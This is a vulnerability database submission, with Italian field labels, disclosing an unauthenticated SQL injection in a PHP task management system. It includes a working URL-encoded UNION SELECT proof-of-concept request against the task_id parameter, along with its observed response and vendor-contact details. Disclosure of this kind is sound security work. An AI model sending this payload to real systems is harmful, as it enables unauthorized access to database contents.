| Titolo | code-projects Task Management System In PHP With Source Code 1.0 SQL Injection |
|---|
| Descrizione | A remote unauthenticated SQL injection vulnerability exists in the Code-Projects Task Management System In PHP With Source Code.
The affected endpoint is /user/comment_count_user.php and the affected GET parameter is task_id. The endpoint does not require an authenticated session.
The application reads task_id directly from user input and concatenates it into an SQL condition. The database helper subsequently constructs and executes the final query without parameter binding.
An unauthenticated remote attacker can modify the SQL query and retrieve attacker-selected database results. A read-only UNION SELECT proof of concept returned controlled commenter_name and comment_text values in the HTTP response.
Baseline request:
GET /PROJECT_NEW/user/comment_count_user.php?task_id=0 HTTP/1.1
Host: TARGET
Connection: close
The baseline response returned HTTP 200 with a Content-Length of 1246 bytes and did not contain a comment record or proof-of-concept marker.
Proof-of-concept request:
GET /PROJECT_NEW/user/comment_count_user.php?task_id=0%27%20UNION%20SELECT%20990001%2C%27PROJECTNEW-SQLI-POC%27%2C1%2C1%2C0%2CNOW%28%29%2C1%2C%27Injected-Row%27%2C%27%27%20%23 HTTP/1.1
Host: TARGET
Connection: close
The injection response returned HTTP 200 with a Content-Length of 1633 bytes and rendered the following attacker-controlled values:
Injected-Row
PROJECTNEW-SQLI-POC
The proof of concept performs only a SELECT operation and does not insert, update, or delete database records.
Product URL:
https://code-projects.org/task-management-system-in-php-with-source-code/
Public advisory, proof of concept, source-code analysis, and redacted reproduction screenshots:
https://github.com/littleRain1355/PHPissue/issues/3
Affected package:
TASK_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip
Package SHA-256:
8a4bf7950b97ea99e05ff9655185678fc1b13b5d79099f3aa7060dd438ac1d54
Related records:
CVE-2025-0846 affects /admin/AdminLogin.php through the email parameter.
CVE-2025-0847 affects /index.php through the email parameter.
The current submission affects the independently processed endpoint /user/comment_count_user.php through the task_id parameter. No public CVE or VulDB record was identified for this endpoint and parameter during duplicate research.
Vendor contact:
Code-Projects was contacted at [email protected] from [email protected] on June 22, 2026 at 14:33:51 BST. Gmail confirmed that the disclosure email was sent. A vendor response is currently pending. |
|---|
| Fonte | ⚠️ https://github.com/littleRain1355/PHPissue/issues/3 |
|---|
| Utente | rainless100792 (UID 84115) |
|---|
| Sottomissione | 22/06/2026 15:36 (2 mesi fa) |
|---|
| Moderazione | 08/08/2026 15:32 (2 months later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 387180 [code-projects Task Management System 1.0 comment_count_user.php task_id iniezione SQL] |
|---|
| Punti | 20 |
|---|